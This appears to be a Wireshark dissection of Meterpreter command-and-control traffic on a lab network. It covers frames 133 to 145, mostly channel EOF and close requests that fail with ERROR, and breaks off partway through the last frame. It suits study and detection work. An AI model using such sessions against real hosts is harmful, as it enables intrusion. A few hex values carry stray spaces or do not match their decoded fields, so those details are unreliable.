```
    133 2561.931331    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=7028 Ack=9039 Win=119
Len=86
Frame 133: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 7028, Ack: 9039, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000239393337353534393730363632383935... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 393933373535343937303636323839353837343235383331... [Value] 99375549706628958742583158382168
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 64 40 00 40 06 52 72 c0 a8 01 2a c0 a8   .~dd@.@.Rr...*..
0020  01 29 11 5c c6 50 2e 7d 2d e7 a3 78 c0 a5 50 18   .).\.P.}-..x..P.
0030  00 77 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .w.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  39 33 37 35 35 34 39 37 30 36 36 32 38 39 35 38   9375549706628958
0070  37 34 32 35 38 33 31 35 38 33 38 32 31 36 38 00   742583158382168.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    134 2561.932608    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=9039 Ack=7114
Win=2049 Len=86
Frame 134: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 9039, Ack: 7114, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002393933373535343937303636323839353... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3939333735353439373036363238393538373432353833313... [Value] 99375549706628958742583158382168
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 1a 40 00 80 06 69 bc c0 a8 01 29 c0 a8   .~..@...i....)..
0020  01 2a c6 50 11 5c a3 78 c0 a5 2e 7d 2e 3d 50 18   .*.P.\.x...}.=P.
0030  08 01 bf 32 00 00 00 00 00 56 00 00 00 01 00 00   ...2.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  39 33 37 35 35 34 39 37 30 36 36 32 38 39 35 38   9375549706628958
0070  37 34 32 35 38 33 31 35 38 33 38 32 31 36 38 00   742583158382168.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    135 2622.252915    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=7114 Ack=9125 Win=119
Len=86
Frame 135: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 7114, Ack: 9125, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002353634343432333833313436343934333... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 35363434343233383331343634393433313039323531333334... [Value] 56444238314649431092513415725106
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 66 40 00 40 06 52 70 c0 a8 01 2a c0 a8   .~df@.@.Rp...*..
0020  01 29 11 5c c6 50 2e 7d 2e 3d a3 78 c0 fb 50 18   .).\.P.}.=.x..P.
0030  00 77 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .w.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 35   el_eof....)....5
0060  36 34 34 34 32 33 38 33 31 34 36 34 39 34 33 31   6444238314649431
0070  30 39 32 35 31 33 34 31 35 37 32 35 31 30 36 00   092513415725106.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    136 2622.254036    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=9125 Ack=7200
Win=2049 Len=86
Frame 136: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 9125, Ack: 7200, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002353634343432333833313436343934333... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3536343434323338333134363439343331303932353133343... [Value] 56444238314649431092513415725106
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 1b 40 00 80 06 69 bb c0 a8 01 29 c0 a8   .~..@...i....)..
0020  01 2a c6 50 11 5c a3 78 c0 fb 2e 7d 2e 93 50 18   .*.P.\.x...}..P.
0030  08 01 de 99 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 35   el_eof....)....5
0060  36 34 34 34 32 33 38 33 31 34 36 34 39 34 33 31   6444238314649431
0070  30 39 32 35 31 33 34 31 35 37 32 35 31 30 36 00   092513415725106.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    137 2682.386741    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=7200 Ack=9211 Win=119
Len=86
Frame 137: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 7200, Ack: 9211, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000231303738303838313233303736333337... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 313037383038383132333037363333373330323331373632... [Value] 10780881230763373023176286557080
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 68 40 00 40 06 52 6e c0 a8 01 2a c0 a8   .~dh@.@.Rn...*..
0020  01 29 11 5c c6 50 2e 7d 2e 93 a3 78 c1 51 50 18   .).\.P.}...x.QP.
0030  00 77 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .w.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 31   el_eof....)....1
0060  30 37 38 30 38 38 31 32 33 30 37 36 33 33 37 33   0780881230763373
0070  30 32 33 31 37 36 32 38 36 35 35 37 30 38 30 00   023176286557080.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    138 2682.388172    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=9211 Ack=7286
Win=2049 Len=86
Frame 138: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 9211, Ack: 7286, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 000000190001000163 6f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023130373830383831323330373633333337... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 313037383038383132333037363333373330323331373632... [Value] 10780881230763373023176286557080
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 1c 40 00 80 06 69 ba c0 a8 01 29 c0 a8   .~..@...i....)..
0020  01 2a c6 50 11 5c a3 78 c1 51 2e 7d 2e e9 50 18   .*.P.\.x.Q.}..P.
0030  08 01 dd e8 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 31   el_eof....)....1
0060  30 37 38 30 38 38 31 32 33 30 37 36 33 33 37 33   0780881230763373
0070  30 32 33 31 37 36 32 38 36 35 35 37 30 38 30 00   023176286557080.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    139 2710.944691    192.168.1.42          192.168.1.41          MTRPROT  142    4444 → 50768 [PSH, ACK] Seq=7286 Ack=9297 Win=119
Len=88
Frame 139: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 7286, Ack: 9297, Len: 88
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000058 [Command length]: 88
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
    Data: 00000029000100023337363832333133363337343633383835... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 33373638323331333633373436333835353330333036343434... [Value] 37682313637463855303064449437743
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000001 [Value] ERROR
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 80 64 6a 40 00 40 06 52 6a c0 a8 01 2a c0 a8   ..dj@.@.Rj...*..
0020  01 29 11 5c c6 50 2e 7d 2e e9 a3 78 c1 a7 50 18   .).\.P.}...x..P.
0030  00 77 84 16 00 00 00 00 00 58 00 00 00 00 00 00   .w.......X......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 63 6c 6f 73 65 00 00 00 00 29 00 01 00   el_close....)...
0060  02 33 37 36 38 32 33 31 33 36 33 37 34 36 33 38   .376823136374638
0070  35 35 33 30 33 30 36 34 34 34 39 34 33 37 37 34   5530306444943774
0080  33 00 00 00 00 0c 00 02 00 32 00 00 00 01         3........2....
```

```
    140 2710.945291    192.168.1.41          192.168.1.42          MTRPROT  142    50768 → 4444 [PSH, ACK] Seq=9297 Ack=7374 
Win=2048 Len=88
Frame 140: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 9297, Ack: 7374, Len: 88
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000058 [Command length]: 88
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
    Data: 000000290001000233373638323331333633373436333835... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3337363832333133363337343633383535333033303634343... [Value] 37682313637463855303064449437743
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 80 0d 1d 40 00 80 06 69 b7 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 c1 a7 2e 7d 2f 41 50 18   .*.P.\.x...}/AP.
0030  08 00 5e c9 00 00 00 00 00 58 00 00 00 01 00 00   ..^......X......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 63 6c 6f 73 65 00 00 00 00 29 00 01 00   el_close....)...
0060  02 33 37 36 38 32 33 31 33 36 33 37 34 36 33 38   .376823136374638
0070  35 35 33 30 33 30 36 34 34 34 39 34 33 37 37 34   5530306444943774
0080  33 00 00 00 00 0c 00 02 00 04 00 00 00 01         3............
```

```
    141 2723.376383    192.168.1.42          192.168.1.41          MTRPROT  142    4444 → 50768 [PSH, ACK] Seq=7374 Ack=9385 Win=119
Len=88
Frame 141: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 7374, Ack: 9385, Len: 88
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000058 [Command length]: 88
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
    Data: 0000002900010002313639313934383536313434333634393... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3136393139343835363134343336343934333332363435333... [Value] 16919485614436494332645342193210
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000002 [Value] 2
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 80 64 6c 40 00 40 06 52 68 c0 a8 01 2a c0 a8   ..dl@.@.Rh...*..
0020  01 29 11 5c c6 50 2e 7d 2f 41 a3 78 c1 ff 50 18   .).\.P.}/A.x..P.
0030  00 77 84 16 00 00 00 00 00 58 00 00 00 00 00 00   .w.......X......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 63 6c 6f 73 65 00 00 00 00 29 00 01 00   el_close....)...
0060  02 31 36 39 31 39 34 38 35 36 31 34 34 33 36 34   .169194856144364
0070  39 34 33 33 32 36 34 35 33 34 32 31 39 33 32 31   9433264534219321
0080  30 00 00 00 00 0c 00 02 00 32 00 00 00 02         0........2....
```

```
    142 2723.377501    192.168.1.41          192.168.1.42          MTRPROT  142    50768 → 4444 [PSH, ACK] Seq=9385 Ack=7462
Win=2048 Len=88
Frame 142: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 9385, Ack: 7462, Len: 88
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000058 [Command length]: 88
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
    Data: 00000029000100023136393139343835363134343336343439... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 31363931393438353631343433363439343333236343533... [Value] 16919485614436494332645342193210
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 80 0d 1e 40 00 80 06 69 b6 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 c1 ff 2e 7d 2f 99 50 18   .*.P.\.x...}/.P.
0030  08 00 6b 15 00 00 00 00 00 58 00 00 00 01 00 00   ..k......X......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 63 6c 6f 73 65 00 00 00 00 29 00 01 00   el_close....)...
0060  02 31 36 39 31 39 34 38 35 36 31 34 34 33 36 34   .169194856144364
0070  39 34 33 33 32 36 34 35 33 34 32 31 39 33 32 31   9433264534219321
0080  30 00 00 00 00 0c 00 02 00 04 00 00 00 01         0............
```

```
    143 2783.399531    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=7462 Ack=9473 Win=119
Len=86
Frame 143: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 7462, Ack: 9473, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343235313032373937303133343735373537... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3432353130323739373031333437353738363138393132313231... [Value] 42510279701347578618912198332860
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 6e 40 00 40 06 52 68 c0 a8 01 2a c0 a8   .~dn@.@.Rh...*..
0020  01 29 11 5c c6 50 2e 7d 2f 99 a3 78 c2 57 50 18   .).\.P.}/..x.WP.
0030  00 77 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .w.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  32 35 31 30 32 37 39 37 30 31 33 34 37 35 37 38   2510279701347578
0070  36 31 38 39 31 32 31 39 38 33 33 32 38 36 30 00   618912198332860.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    144 2783.401006    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=9473 Ack=7548
Win=2048 Len=86
Frame 144: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 9473, Ack: 7548, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023432353130323739373031333437353 7... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3432353130323739373031333437353738363138393132 31... [Value] 425102797013475786189121983328 60
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 1f 40 00 80 06 69 b7 c0 a8 01 29 c0 a8   .~..@...i....)..
0020  01 2a c6 50 11 5c a3 78 c2 57 2e 7d 2f ef 50 18   .*.P.\.x.W.}/.P.
0030  08 00 d5 d7 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  32 35 31 30 32 37 39 37 30 31 33 34 37 35 37 38   2510279701347578
0070  36 31 38 39 31 32 31 39 38 33 33 32 38 36 30 00   618912198332860.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    145 2843.421527    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=7548 Ack=9559 Win=119
Len=86
Frame 145: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 7548, Ack: 9559, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023738313531393032353630373636393... [TLV]
    Command: 0x00000029 [Length]: 41
